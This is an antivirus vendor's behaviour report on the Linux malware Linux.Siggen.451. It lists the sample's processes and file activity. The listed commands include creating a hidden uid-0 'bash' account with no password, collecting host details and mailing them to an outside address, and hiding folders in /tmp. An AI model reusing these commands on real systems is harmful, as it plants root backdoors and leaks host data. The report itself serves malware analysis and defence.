FÜR NUTZER

Schließen

Meine Bibliothek
Meine Bibliothek

+ Zur Bibliothek hinzufügen

Suche
Suche

Support
Support 24/7 | Regeln zur Anfragenübermittlung

Schreiben Sie uns

Online-Formular

Telefon

+49 (0) 170 488 40 28

Forum

Ihre Anfragen

Neue Anfrage

Rufen Sie uns an

+7 (495) 789-45-86

Profil

DE

RU CN DE EN ES FR IT JP KZ UZ PL BY
Schließen
Services
Scanner
Dr.Web vxCube
Testversion
Analyse von virenabhängigen Vorfällen
Virenbibliothek
Wissensdatenbank

Technologies

Begriffe

Schulung und Training

Mythen

News

Linux.Siggen.451

Added to the Dr.Web virus database: 2018-02-21

Virus description added:

Technical Information

Malicious functions:
Gains root privileges
Launches itself as a daemon
Substitutes application name for:
  • adduser
Launches processes:
  • /bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/sh <SAMPLE_FULL_PATH> -c
  • clear
  • id -u
  • sleep 3
  • adduser -g 0 -u 0 -o bash
  • passwd -d bash
  • ifconfig
  • uname -a
  • uptime
  • sshd
  • cat /tmp/mama
  • mail -s Inca o roata root@addlebrain.com
  • /usr/sbin/sendmail send-mail -i -- root@addlebrain.com
  • /usr/sbin/exim4 -Mc 1eoYkF-0000BG-4s
  • rm -rf /tmp/mama
  • mkdir -p /tmp/. /. /. /. /. /. /. /. /.
  • sleep 1
  • /usr/sbin/exim4 #-E1eoYkF-0000BG-4s
  • /usr/sbin/exim4 -Mc 1eoYkG-0000BN-73
  • sleep 2
  • sleep 4
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/exim4/input/1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input/hdr.698
  • /var/spool/exim4/msglog/1eoYkF-0000BG-4s
  • /var/spool/exim4/input/1eoYkG-0000BN-73-D
  • /var/spool/exim4/input/hdr.705
  • /var/spool/exim4/input/hdr.700
  • /var/spool/exim4/msglog/1eoYkG-0000BN-73
  • /var/spool/exim4/input/1eoYkG-0000BN-73-J
  • /var/mail/user
Creates folders:
  • /tmp/.
  • /tmp/. /.
  • /tmp/. /. /.
  • /tmp/. /. /. /.
  • /tmp/. /. /. /. /.
  • /tmp/. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /. /. /.
Creates symlinks:
  • /var/mail/user.lock"
Creates or modifies files:
  • /tmp/mama
  • /tmp/mail.RsXXXXsG8HMd
  • /tmp/mail.RsXXXXsG8HMd (deleted)
  • /tmp/mail.RsXXXXA8h4No
  • /tmp/mail.RsXXXXA8h4No (deleted)
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input/1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input//hdr.698
  • /var/spool/exim4/input/hdr.698
  • /var/spool/exim4/msglog//1eoYkF-0000BG-4s
  • /var/spool/exim4/msglog/1eoYkF-0000BG-4s
  • /var/log/exim4/mainlog
  • /var/spool/exim4/db/retry.lockfile
  • /var/spool/exim4/input//1eoYkG-0000BN-73-D
  • /var/spool/exim4/input/1eoYkG-0000BN-73-D
  • /var/spool/exim4/input//hdr.705
  • /var/spool/exim4/input/hdr.705
  • /var/spool/exim4/msglog//1eoYkG-0000BN-73
  • /var/spool/exim4/msglog/1eoYkG-0000BN-73
  • /var/spool/exim4/input//hdr.700
  • /var/spool/exim4/input/hdr.700
  • /var/spool/exim4/input//1eoYkG-0000BN-73-J
  • /var/mail/user.lock.box-i386.5a8db48c.000002c6
  • /var/mail/user
  • /var/spool/exim4/input/1eoYkG-0000BN-73-J
Deletes files:
  • /tmp/mail.RsXXXXsG8HMd"
  • /tmp/mail.RsXXXXA8h4No"
  • /tmp/mama"
  • /var/spool/exim4/msglog//1eoYkF-0000BG-4s"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-D"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-H"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-J"
  • /var/mail/user.lock.box-i386.5a8db48c.000002c6"
  • /var/mail/user.lock"
  • /var/spool/exim4/msglog//1eoYkG-0000BN-73"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-D"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-H"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-J"
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • bo##i386
Other:
Collects CPU information

Curing recommendations

Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number